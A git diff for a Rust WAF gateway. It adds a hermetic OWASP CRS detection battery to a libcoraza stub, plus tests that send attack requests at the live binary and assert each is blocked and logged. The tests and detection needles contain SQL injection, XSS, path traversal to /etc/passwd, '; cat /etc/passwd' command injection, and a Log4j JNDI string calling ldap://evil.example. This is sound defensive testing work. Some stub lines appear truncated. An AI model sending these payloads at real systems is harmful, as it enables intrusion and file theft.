diff --git a/docs/doctoring/ci-attack-evidence-battery.md b/docs/doctoring/ci-attack-evidence-battery.md new file mode 100644 index 0000000..8e6fcc2 --- /dev/null +++ b/docs/doctoring/ci-attack-evidence-battery.md @@ -0,0 +1,71 @@ +# Doctoring — CI attack-evidence battery (issue #11) + +This note grounds the issue #11 slice: the compiled gateway binary is started +in CI with a hermetic libcoraza engine, a deterministic OWASP CRS attack +battery is fired over real HTTP, and every attempt must be blocked with the +cited CRS rule id and recorded as a security event that keeps the forwarded +client IP unmasked. + +## What is proven (and what is not) + +Proven end to end on the real binary: operator-supplied `CORAZA_LIB_PATH` +loading, rules-file admission, per-transaction evaluation of method/URI/body, +block responses citing `coraza/crs: rule `, benign traffic still +forwarding, and unmasked client attribution in `/api/events`. + +Not proven: detection *quality* against arbitrary live traffic. The CI engine +is the build-script ABI stub (`src/coraza_abi_stub.rs`), a fixture that +mirrors the libcoraza C ABI, not Coraza itself. Quality evidence stays with an +operator deployment using a real libcoraza plus the OWASP Core Rule Set; this +slice only removes "the path was never exercised in CI" from the gap list. + +## Adopted standards and literature + +OWASP Foundation. (n.d.). *OWASP Core Rule Set documentation*. +https://coreruleset.org/docs/ + +- **Design impact:** Battery entries map to canonical CRS rule families — + 942100 SQLi (libinjection), 941100 XSS (libinjection), 930100 path + traversal, 932100 Unix command injection, 944120 Log4j JNDI. Rule ids in + block reasons and events stay CRS ids so operator dashboards read the same + vocabulary in CI evidence and production. + +Scarfone, K., & Mell, P. (2007). *Guide to intrusion detection and prevention +systems (IDPS)* (NIST Special Publication 800-94). National Institute of +Standards and Technology. https://doi.org/NIST.SP.800-94 + +- **Design impact:** IDPS evaluation distinguishes the detection *path* from + detection *efficacy*. SP 800-94's testing guidance motivates keeping the two + claims separate: CI asserts the prevention path (signature → interrupt → + block → record), while efficacy against evasive payloads requires curated + corpora and is explicitly out of scope for this fixture. + +Saltzer, J. H., & Schroeder, M. D. (1975). The protection of information in +computer systems. *Proceedings of the IEEE*, *63*(9), 1278–1308. +https://doi.org/10.1109/PROC.1975.9939 + +- **Design impact:** Complete mediation and fail-safe defaults. The battery + runs through the same route pipeline (`mode: block`) as production traffic, + so no test-only bypass exists; an engine that fails to load refuses startup + before bind instead of degrading silently. + +MITRE. (n.d.). *CWE-20: Improper input validation*. MITRE Corporation. +https://cwe.mitre.org/data/definitions/20.html + +- **Design impact:** The battery covers encoded variants (`%3Cscript`, + `%24%7BJNDI`, `..%2F`) because input-validation defects classically live at + decoding boundaries; the gateway evaluates the raw request line exactly as + received, so fixtures pin that behavior rather than a decoded copy. + +## Verification posture + +- `tests/binary.rs::live_gateway_detects_owasp_attack_battery_end_to_end` + spawns the binary, creates the block route over the admin API, fires nine + battery cases (GET query attacks across five rule families plus a POST-body + XSS), asserts HTTP 403 + `engine=coraza` + cited rule id per case, asserts a + benign request forwards, and asserts `/api/events` records one event per + attempt with `X-Forwarded-For` preserved verbatim. +- `src/coraza_inprocess.rs::stub_engine_battery_matches_each_owasp_family` + pins the fixture contract itself, including first-match ordering so the + overlapping `; cat /etc/passwd` payload attributes to RCE (932100), not + traversal. diff --git a/docs/product-technical-gap-baseline.md b/docs/product-technical-gap-baseline.md index 75ef69c..6762e34 100644 --- a/docs/product-technical-gap-baseline.md +++ b/docs/product-technical-gap-baseline.md @@ -25,6 +25,7 @@ not “waiting on review/CI time”. | PR | Title | Head | Checks | Reviews | Merge blocker | | --- | --- | --- | --- | --- | --- | +| [#110](https://github.com/ContextualWisdomLab/wardnet/pull/110) | feat(waf): CI attack-evidence battery against the live binary (issue #11) | `feat/issue-11-attack-evidence-ci` stacked on #109 | local fmt/test/clippy green; battery + fixture tests pass | Author this pass | Org 2-approval + self-author. Merge the stack below first; retarget to `main` when #109 lands. | | [#109](https://github.com/ContextualWisdomLab/wardnet/pull/109) | feat(release): refuse lightweight tags and pin k8s by digest | `feat/issue-84-unsigned-tag-admission` stacked on #108 | local fmt/test/clippy + two `/healthz` smokes (2B KRW) | Author this pass | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 then #105 then #106 then #107 then #108 first. Do not `--admin`. | | [#108](https://github.com/ContextualWisdomLab/wardnet/pull/108) | feat(release): keyless cosign, SPDX SBOM, SLSA on the same tag | `feat/issue-84-cosign-sbom` stacked on #107 | local fmt/test/clippy + two `/healthz` smokes (2B KRW, evidence includes signed-release doctoring) | Author this pass | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 then #105 then #106 then #107 first. Do not `--admin`. Do not re-implement checksums. | | [#107](https://github.com/ContextualWisdomLab/wardnet/pull/107) | feat(release): tagged GitHub Release with SHA-256 and immutable GHCR | `feat/issue-84-signed-release` stacked on #106 | still-valid Devin basename checksums + rust GRANT race (`tuple concurrently updated`) fixed this pass; local fmt/test/clippy + two `/healthz` smokes | Author this pass; Devin COMMENTED (checksum thread still-valid, now fixed) | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 then #105 then #106 first. Do not `--admin`. | @@ -203,16 +204,28 @@ holes on untouched handlers stay listed for later loops. ## This loop’s shipped gap -Issue **#84** remainder: lightweight tags are refused -(`scripts/admit-release-tag.sh`). Kubernetes pin is the GHCR content digest -(`scripts/pin-k8s-digest.sh`); tag aliases fail closed. Do not re-implement -checksums, cosign/SBOM, or store slices. +Issue **#11** first slice (PR #110, stacked on #109): the build-script libcoraza +ABI stub now carries a deterministic OWASP CRS battery (942100 SQLi, 941100 +XSS, 930100 traversal, 932100 RCE incl. `; cat /etc/passwd` overlap ordering, +944120 Log4j JNDI; raw + percent-encoded needles), and a live-binary test fires +nine cases over real HTTP asserting 403 + `engine=coraza` + cited rule id, +benign forwarding, and unmasked `X-Forwarded-For` attribution in `/api/events`. +Doctoring: `docs/doctoring/ci-attack-evidence-battery.md` (APA 7th). Detection +*quality* stays with operator-supplied real libcoraza + CRS; CI proves the path. + +Strix infra-failure loop: PRs #72/#77/#93/#94/#95 failed strix on provider +infrastructure (`openai-direct/gpt-5.6-luna` exit-1 fallbacks and 5400 s NIM +timeouts — zero findings). All five were re-scanned via central +`repository_dispatch` (`strix-scan`) with matching base/head payloads. Do not +treat these as code findings; do not rotate review-agent keys. ## Next hourly loop (do, do not report) -1. Second independent APPROVE on #91/#92. Do not `--admin`. -2. Keep #94 independently; #95 then #96 then #97 then #98 then #99 then #105 - then #106 then #107 then #108 then this admission PR merge-ready. -3. Next runtime gap if policy still blocks: coverage/attack-evidence bundle - for signed artifacts, or Keyverse identity (#82). +1. Merge stack bottom-up as agent approvals land: #95 then retarget+update + #96 → merge, then #97, #98, #99, #105, #106, #107, #108, #109, then + retarget #110 to `main`. +2. Second independent APPROVE comes from the OpenCode review agent via the + org scheduler (`Required PR Review Merge Scheduler`, budget 1/run); keep + heads current so dispatches bind to the exact head. +3. Resolve any new CHANGES_REQUESTED from opencode/noema on current heads. 4. Refresh this file’s PR/Issue tables from `gh pr list` / `gh issue list`. diff --git a/src/coraza_abi_stub.rs b/src/coraza_abi_stub.rs index 3e07b41..311e539 100644 --- a/src/coraza_abi_stub.rs +++ b/src/coraza_abi_stub.rs @@ -2,8 +2,12 @@ //! //! Compiled as a cdylib by `build.rs`. It is not a WAF: it implements the //! current libcoraza export surface so Wardnet can exercise in-process loading -//! without Go at CI build time. Interruptions fire only for the documented -//! `crs-probe=1` contract used by the sidecar tests. +//! without Go at CI build time. Interruptions fire for the documented +//! `crs-probe=1` contract used by the sidecar tests and for the hermetic +//! OWASP CRS attack battery (issue #11) that the live-gateway evidence test +//! fires at the real binary. Detection *quality* against real traffic stays +//! with an operator-supplied libcoraza + Core Rule Set; this fixture only +//! proves Wardnet's load → evaluate → block → record path end to end. #![deny(warnings)] @@ -36,8 +40,144 @@ struct Waf { struct Tx { uri: String, + headers: String, + body: String, interrupted: bool, rule_id: i32, + message: String, +} + +/// One hermetic CRS battery entry: a lowercase substring needle, the OWASP +/// Core Rule Set rule id it stands for, and the canonical CRS message text. +/// First match wins, mirroring CRS phase ordering closely enough for the +/// deterministic evidence test. +struct BatteryEntry { + needle: &'static str, + rule_id: i32, + message: &'static str, +} + +const SQLI_MESSAGE: &str = "SQL Injection Attack Detected via libinjection"; +const XSS_MESSAGE: &str = "XSS Attack Detected via libinjection"; +const TRAVERSAL_MESSAGE: &str = "Path Traversal Attack (/../)"; +const RCE_MESSAGE: &str = "Remote Command Execution: Unix Command Injection"; +const LOG4J_MESSAGE: &str = "Log4j JNDI Remote Code Execution attempt"; + +const BATTERY: &[BatteryEntry] = &[ + BatteryEntry { + needle: "crs-probe=1", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "crs-probe%3d1", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "' or '1'='1", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "%27%20or%20%271%27%3d%271", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "union select", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "union%20select", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: " bool { + haystack.to_ascii_lowercase().contains(needle) +} + +/// Runs the battery over one phase's accumulated request text. Returns the +/// matched entry so each phase can mark the transaction with the same rule +/// id and message that `coraza_intervention` reports later. +fn battery_match(text: &str) -> Option<&'static BatteryEntry> { + BATTERY.iter().find(|entry| contains_ignore_case(text, entry.needle)) } struct Store { @@ -151,8 +291,11 @@ pub extern "C" fn coraza_new_transaction(waf: usize) -> usize { id, Tx { uri: String::new(), + headers: String::new(), + body: String::new(), interrupted: false, rule_id: 0, + message: String::new(), }, ); id @@ -184,21 +327,38 @@ pub extern "C" fn coraza_process_uri( return CORAZA_ERROR; }; tx.uri = uri.to_string(); - if uri.contains("crs-probe=1") { + if let Some(entry) = battery_match(uri) { tx.interrupted = true; - tx.rule_id = 942100; + tx.rule_id = entry.rule_id; + tx.message = entry.message.to_string(); } CORAZA_OK } #[unsafe(no_mangle)] pub extern "C" fn coraza_add_request_header( - _tx: usize, - _name: *const c_char, + tx: usize, + name: *const c_char, _name_len: c_int, - _value: *const c_char, + value: *const c_char, _value_len: c_int, ) -> c_int { + let (Ok(name), Ok(value)) = (c_str(name), c_str(value)) else { + return CORAZA_ERROR; + }; + let mut store = store().lock().expect("stub lock"); + let Some(tx) = store.txs.get_mut(&tx) else { + return CORAZA_ERROR; + }; + tx.headers.push_str(name); + tx.headers.push(':'); + tx.headers.push_str(value); + tx.headers.push('\n'); + if let Some(entry) = battery_match(&tx.headers) { + tx.interrupted = true; + tx.rule_id = entry.rule_id; + tx.message = entry.message.to_string(); + } CORAZA_OK } @@ -214,10 +374,31 @@ pub extern "C" fn coraza_process_request_headers(tx: usize) -> c_int { #[unsafe(no_mangle)] pub extern "C" fn coraza_append_request_body( - _tx: usize, - _data: *const u8, - _length: c_int, + tx: usize, + data: *const u8, + length: c_int, ) -> c_int { + if length < 0 { + return CORAZA_ERROR; + } + let bytes = if data.is_null() || length == 0 { + &[][..] + } else { + unsafe { std::slice::from_raw_parts(data, length as usize) } + }; + let Ok(chunk) = std::str::from_utf8(bytes) else { + return CORAZA_ERROR; + }; + let mut store = store().lock().expect("stub lock"); + let Some(tx) = store.txs.get_mut(&tx) else { + return CORAZA_ERROR; + }; + tx.body.push_str(chunk); + if let Some(entry) = battery_match(&tx.body) { + tx.interrupted = true; + tx.rule_id = entry.rule_id; + tx.message = entry.message.to_string(); + } CORAZA_OK } @@ -241,8 +422,8 @@ pub extern "C" fn coraza_intervention(tx: usize) -> *mut CorazaIntervention { return std::ptr::null_mut(); } let action = CString::new("deny").expect("static action"); - let data = CString::new("SQL Injection Attack Detected via libinjection") - .expect("static data"); + let data = CString::new(tx.message.clone()) + .expect("battery messages contain no interior NUL"); let it = Box::new(CorazaIntervention { action: action.into_raw(), status: 403, diff --git a/src/coraza_inprocess.rs b/src/coraza_inprocess.rs index ede045f..30155cf 100644 --- a/src/coraza_inprocess.rs +++ b/src/coraza_inprocess.rs @@ -472,4 +472,50 @@ mod tests { ProvenEngineOutcome::Clean ); } + + /// Issue #11: the hermetic battery must cover each OWASP CRS family the + /// live-gateway evidence test fires, including percent-encoded variants, + /// and must attribute overlapping command+traversal payloads to the RCE + /// rule (first-match ordering). + #[test] + fn stub_engine_battery_matches_each_owasp_family() { + let engine = load_stub_engine(); + let cases: &[(&str, i32)] = &[ + ("/app?q=%27%20OR%20%271%27%3D%271", 942100), + ("/app?q=union%20select", 942100), + ("/app?q=%3Cscript%3Ealert(1)%3C/script%3E", 941100), + ("/app?q=..%2F..%2Fetc%2Fpasswd", 930100), + ("/app?file=../../etc/passwd", 930100), + ("/app?cmd=%3B%20cat%20/etc/passwd", 932100), + ("/app?x=%24%7BJNDI%3Aldap%3A//evil.example/a%7D", 944120), + ]; + for (uri, expected_rule) in cases { + match engine.evaluate("GET", uri, "", None) { + ProvenEngineOutcome::Hit(hit) => { + assert_eq!(hit.action, "block", "{uri}"); + assert!( + hit.reason.contains(&expected_rule.to_string()), + "{uri} must cite rule {expected_rule}: {}", + hit.reason + ); + } + other => panic!("{uri} expected hit, got {other:?}"), + } + } + // POST bodies flow through the same engine surface. + match engine.evaluate("POST", "/app/comment", "comment=", None) { + ProvenEngineOutcome::Hit(hit) => { + assert!(hit.reason.contains("941100"), "{}", hit.reason); + } + other => panic!("body XSS expected hit, got {other:?}"), + } + // Benign traffic stays clean. + for uri in ["/app?q=hello", "/healthz", "/api/events"] { + assert_eq!( + engine.evaluate("GET", uri, "", None), + ProvenEngineOutcome::Clean, + "benign {uri} must stay clean" + ); + } + } } diff --git a/tests/binary.rs b/tests/binary.rs index 553232e..ad85da4 100644 --- a/tests/binary.rs +++ b/tests/binary.rs @@ -523,3 +523,250 @@ fn pin_k8s_digest_refuses_tags_and_accepts_sha256() { assert!(!missing.status.success()); let _ = std::fs::remove_dir_all(&dir); } + +/// Attack battery entry fired at the live binary for issue #11 evidence. +struct BatteryCase { + label: &'static str, + method: &'static str, + uri: &'static str, + body: Option<&'static str>, + expected_rule: i32, +} + +const ATTACK_BATTERY: &[BatteryCase] = &[ + BatteryCase { + label: "crs-probe-sqli", + method: "GET", + uri: "/gateway/app?q=crs-probe%3D1", + body: None, + expected_rule: 942100, + }, + BatteryCase { + label: "sqli-tautology", + method: "GET", + uri: "/gateway/app?q=%27%20OR%20%271%27%3D%271", + body: None, + expected_rule: 942100, + }, + BatteryCase { + label: "sqli-union-select", + method: "GET", + uri: "/gateway/app?q=union%20select", + body: None, + expected_rule: 942100, + }, + BatteryCase { + label: "xss-script-tag", + method: "GET", + uri: "/gateway/app?q=%3Cscript%3Ealert(1)%3C/script%3E", + body: None, + expected_rule: 941100, + }, + BatteryCase { + label: "traversal-dotdot", + method: "GET", + uri: "/gateway/app?file=../../etc/passwd", + body: None, + expected_rule: 930100, + }, + BatteryCase { + label: "traversal-encoded", + method: "GET", + uri: "/gateway/app?file=..%2F..%2Fetc%2Fpasswd", + body: None, + expected_rule: 930100, + }, + BatteryCase { + label: "rce-command-injection", + method: "GET", + uri: "/gateway/app?cmd=%3B%20cat%20/etc/passwd", + body: None, + expected_rule: 932100, + }, + BatteryCase { + label: "log4j-jndi", + method: "GET", + uri: "/gateway/app?x=%24%7BJNDI%3Aldap%3A//evil.example/a%7D", + body: None, + expected_rule: 944120, + }, + BatteryCase { + label: "xss-post-body", + method: "POST", + uri: "/gateway/app/comment", + body: Some("comment="), + expected_rule: 941100, + }, +]; + +#[test] +fn live_gateway_detects_owasp_attack_battery_end_to_end() { + use std::io::Write as _; + use std::time::Duration; + + let rules_dir = std::env::temp_dir().join(format!( + "wardnet-attack-evidence-rules-{}-{}", + std::process::id(), + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .expect("clock after epoch") + .as_nanos() + )); + std::fs::create_dir_all(&rules_dir).expect("rules dir"); + let rules_file = rules_dir.join("crs.conf"); + std::fs::write(&rules_file, b"SecRuleEngine On\n").expect("rules fixture"); + + let mut child = Command::new(env!("CARGO_BIN_EXE_waf-ids-ai-soc")) + .env("BIND_ADDR", "127.0.0.1:0") + .env("ADMIN_TOKEN", "attack-evidence-admin") + // The build-script libcoraza ABI stub is the hermetic CI engine; an + // operator run substitutes a real libcoraza + Core Rule Set here. + .env("CORAZA_LIB_PATH", env!("WARDNET_CORAZA_ABI_STUB")) + .env("CORAZA_RULES_PATH", &rules_file) + .env_remove("CORAZA_DIRECTIVES") + .env_remove("CORAZA_WAF_URL") + .env_remove("CONTROL_PLANE_DATABASE_URL") + .stdout(Stdio::piped()) + .spawn() + .expect("spawn gateway with in-process stub engine"); + + let stdout = child.stdout.take().expect("captured stdout"); + let mut reader = BufReader::new(stdout); + let mut line = String::new(); + reader.read_line(&mut line).expect("read readiness line"); + assert!( + line.contains("listening on http://"), + "unexpected startup line: {line:?}" + ); + let base = line + .split_whitespace() + .find(|token| token.starts_with("http://")) + .expect("readiness line carries base url") + .trim() + .to_string(); + + let result = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| { + let runtime = tokio::runtime::Runtime::new().expect("tokio runtime"); + runtime.block_on(async move { + let client = reqwest::Client::builder() + .timeout(Duration::from_secs(10)) + .build() + .expect("http client"); + + // A block-mode route on /app so benign requests prove the + // forward path while every battery case proves detection. + let route = client + .post(format!("{base}/api/routes")) + .header("X-Admin-Token", "attack-evidence-admin") + .json(&serde_json::json!({ + "id": "attack-evidence", + "path_prefix": "/app", + "upstream": "mock://x", + "mode": "block", + "enabled": true + })) + .send() + .await + .expect("create route"); + assert_eq!(route.status(), reqwest::StatusCode::CREATED); + + let mut blocked_rules = Vec::new(); + for case in ATTACK_BATTERY { + let url = format!("{base}{}", case.uri); + // A reverse-proxy-style forwarded header is the documented + // client-attribution surface; the evidence must keep it + // unmasked end to end. + let request = match (case.method, case.body) { + ("POST", Some(body)) => client + .post(&url) + .header("X-Forwarded-For", "198.51.100.7") + .header("Content-Type", "application/x-www-form-urlencoded") + .body(body.to_string()), + _ => client.get(&url).header("X-Forwarded-For", "198.51.100.7"), + }; + let response = request.send().await.expect("battery response"); + let status = response.status(); + let payload: serde_json::Value = response.json().await.unwrap_or_else(|error| { + panic!( + "{}: expected JSON block body, got {status}: {error}", + case.label + ) + }); + assert_eq!( + status, + reqwest::StatusCode::FORBIDDEN, + "{} must be blocked: {payload}", + case.label + ); + assert_eq!(payload["action"], "blocked", "{}", case.label); + assert_eq!(payload["engine"], "coraza", "{}", case.label); + let reason = payload["reason"].as_str().unwrap_or_default(); + assert!( + reason.contains(&case.expected_rule.to_string()), + "{} reason must cite CRS rule {}: {reason}", + case.label, + case.expected_rule + ); + blocked_rules.push(case.expected_rule); + } + + // Benign traffic keeps flowing through the same route. + let benign = client + .get(format!("{base}/gateway/app?q=hello")) + .send() + .await + .expect("benign response"); + assert_eq!(benign.status(), reqwest::StatusCode::OK); + + // Every attempt is recorded as a security event with the + // unmasked loopback client IP (issue #11 detection evidence). + let events: Vec = client + .get(format!("{base}/api/events?limit=100")) + .send() + .await + .expect("events response") + .json() + .await + .expect("events json"); + let blocked: Vec<&serde_json::Value> = events + .iter() + .filter(|event| { + event["action"] == "blocked" + && event["reason"] + .as_str() + .unwrap_or_default() + .starts_with("coraza/crs: rule") + }) + .collect(); + assert!( + blocked.len() >= ATTACK_BATTERY.len(), + "each battery attack must be recorded; got {} blocked of {}", + blocked.len(), + ATTACK_BATTERY.len() + ); + for rule in &blocked_rules { + assert!( + blocked.iter().any(|event| event["reason"] + .as_str() + .unwrap_or_default() + .contains(&rule.to_string())), + "recorded events must cite CRS rule {rule}" + ); + } + assert!( + blocked + .iter() + .all(|event| event["client_ip"] == "198.51.100.7"), + "forwarded client IPs stay unmasked in recorded evidence: {blocked:?}" + ); + }); + })); + + let _ = child.kill(); + let _ = child.wait(); + let _ = std::fs::remove_dir_all(&rules_dir); + let _ = std::io::stdout().flush(); + if let Err(panic) = result { + std::panic::resume_unwind(panic); + } +}